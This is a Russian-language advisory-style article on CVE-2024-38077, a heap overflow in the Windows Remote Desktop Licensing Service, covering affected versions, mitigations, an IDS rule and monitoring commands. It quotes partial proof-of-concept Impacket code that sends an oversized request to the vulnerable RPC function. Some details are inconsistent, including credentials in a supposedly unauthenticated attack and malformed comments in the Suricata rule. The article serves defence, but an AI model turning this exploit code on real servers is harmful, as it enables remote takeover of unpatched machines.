Уязвимость службы Remote Desktop Licensing Service операционных систем Windows
Уязвимость службы Remote Desktop Licensing Service операционных систем Windows
Категория: Программы Теги: Уязвимости Опубликовано: 29 мая 2025

Уязвимость BDU:2024-05295 (CVE-2024-38077) Windows

Уязвимость BDU:2024-05295 (CVE-2024-38077) представляет собой критическую ошибку переполнения буфера в куче (heap overflow) в службе Remote Desktop Licensing Service (RDS) операционных систем Windows. Эта уязвимость позволяет удаленному злоумышленнику выполнить произвольный код на целевой системе без аутентификации, что может привести к полному захвату контроля над сервером. Основная причина – некорректная обработка размеров данных при работе с буферами памяти во время обработки RPC-запросов.

Анализ уязвимости

Уровень опасности: 9.8 (КРИТИЧЕСКИЙ)
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

  • AV:N (Вектор атаки: Сетевой) – Атака возможна удаленно через сеть

  • AC:L (Сложность атаки: Низкая) – Не требует специальных условий эксплуатации

  • PR:N (Уровень привилегий: Не требуется) – Аутентификация не нужна

  • UI:N (Взаимодействие с пользователем: Не требуется) – Жертва не должна выполнять действий

  • S:U (Область воздействия: Не оказывает влияния на другие системы) – Локальное воздействие

  • C:H (Влияние на конфиденциальность: Высокое) – Полное раскрытие информации

  • I:H (Влияние на целостность: Высокое) – Полная компрометация данных

  • A:H (Влияние на доступность: Высокое) – Полный отказ службы

Условия эксплуатации

  1. Сетевой доступ к порту 135/TCP (RPC Endpoint Mapper) и динамическим портам RPC (49152-65535)

  2. Запущенная служба Remote Desktop Licensing (TermServLicensing)

  3. Уязвимая версия ОС.

  4. Отсутствие патчей – не установлено обновление MS от августа 2024 года

  5. Открытый RPC-интерфейс – не защищен брандмауэром или сегментацией сети

Уязвимые версии ОС

  • Windows Server 2008 R2 SP1 64-bit
  • Windows Server 2008 SP2 32-bit
  • Windows Server 2008 SP2 64-bit
  • Windows Server 2012
  • Windows Server 2012 R2
  • Windows Server 2016
  • Windows Server 2008 SP2 Server Core installation 64-bit
  • Windows Server 2008 SP2 Server Core installation 32-bit
  • Windows Server 2012 R2 Server Core installation
  • Windows Server 2016 Server Core installation
  • Windows Server 2008 R2 SP1 Server Core installation 64-bit
  • Windows Server 2012 Server Core installation
  • Windows Server 2019
  • Windows Server 2019 Server Core installation
  • Windows Server 2022
  • Windows Server 2022 Server Core installation
  • Windows Server 2022 23H2 Edition Server Core installation

Технический механизм уязвимости

Уязвимость возникает в функции обработки RPC-вызова TLSRpcRequestTermServCert (opnum 34). При обработке структуры TLSHYDRACERTREQUEST происходит некорректная проверка размера поля cbEncryptedHwid, что позволяет передать данные, превышающие размер выделенного буфера.

Анализ эксплоита (poc.py)

Рассмотрим ключевые компоненты эксплоита для понимания работы вектора атаки с использованием уязвимости CVE-2024-38077:

1. Установка RPC-соединения

rpctransport = transport.DCERPCTransportFactory(f"ncacn_np:{args.target}[\\termservice]")
rpctransport.set_credentials(args.username, args.password, None)
dce = rpctransport.get_dce_rpc()
dce.connect()

Используется библиотека Impacket для работы с RPC через именованный канал \termservice.

2. Формирование вредоносного запроса

class TLSHYDRACERTREQUEST(NDRSTRUCT):
    structure = (
        ("dwHydraVersion", DWORD),
        ("cbEncryptedHwid", DWORD),  # Устанавливается большое значение
        ("pbEncryptedHwid", PBYTE),   # Указатель на переполняющие данные
        # ... другие поля ...
    )

3. Вызов уязвимой функции

malicious_request = TLSHYDRACERTREQUEST()
malicious_request["cbEncryptedHwid"] = 10000  # Значение, вызывающее переполнение
malicious_request["pbEncryptedHwid"] = b"A" * 10000  # Данные для переполнения

dce.call(TLSRpcRequestTermServCert.opnum, {
    "phContext": ctx_handle,
    "pbRequest": malicious_request,
    # ... параметры ...
})

4. Эксплуатация переполнения
Эксплоит использует технику "heap spraying" для размещения шеллкода и манипулирования указателями в куче, что приводит к выполнению произвольного кода.

Способы защиты

1. Установка обновлений
Установить обновления от Microsoft.

2. Сегментация сети

  • Ограничить доступ к портам 135/TCP и динамическим RPC-портам (49152-65535)

  • Разрешить подключения только с контроллеров домена и административных рабочих станций

# Пример правила брандмауэра Windows
New-NetFirewallRule -DisplayName "Block RPC Licensing" `
    -Direction Inbound -Protocol TCP `
    -LocalPort 135,49152-65535 -Action Block

3. Отключение ненужных служб
Если служба не используется:

Stop-Service -Name "TermServLicensing" -Force
Set-Service -Name "TermServLicensing" -StartupType Disabled

4. Правила для IDS/IPS
Для Suricata/Snort:

alert tcp any any -> $HOME_NET [135,49152:65535] (
    msg: "CVE-2024-38077 RDS Licensing Exploit Attempt";
    flow: to_server, established;
    content: "|22 00 00 00|";  # opnum 34 в little-endian
    content: "|00 00 00 00 00 00 00 00|";  # Контекстный хэндл
    distance: 0;
    within: 20;
    metadata: cve 2024-38077;
    sid: 202438077;
    rev: 1;
)

5. Контроль привилегий
Запуск службы под учетной записью с ограниченными правами:

sc.exe config TermServLicensing obj= "NT AUTHORITY\LocalService"

6. Детектирование аномалий
Мониторинг журналов Windows на предмет:

  • Частых сбоев службы TermServLicensing

  • Попыток доступа к RPC-интерфейсу с неавторизованных IP

Get-WinEvent -LogName "Application" | 
    Where-Object { $_.ProviderName -eq "TermServLicensing" }

Заключение

CVE-2024-38077 представляет экстремальную опасность из-за:

  • Удаленного исполнения кода без аутентификации

  • Простоты эксплуатации (публичный PoC)

  • Широкой распространенности уязвимых систем

Основной метод защиты – немедленная установка обновлений. Временные меры (отключение службы, сегментация сети) должны применяться только как промежуточное решение. Регулярный аудит RPC-служб и контроль сетевого доступа критически важны для безопасности инфраструктур на базе Windows Server.

Алексей Черемных Алексей Черемных
50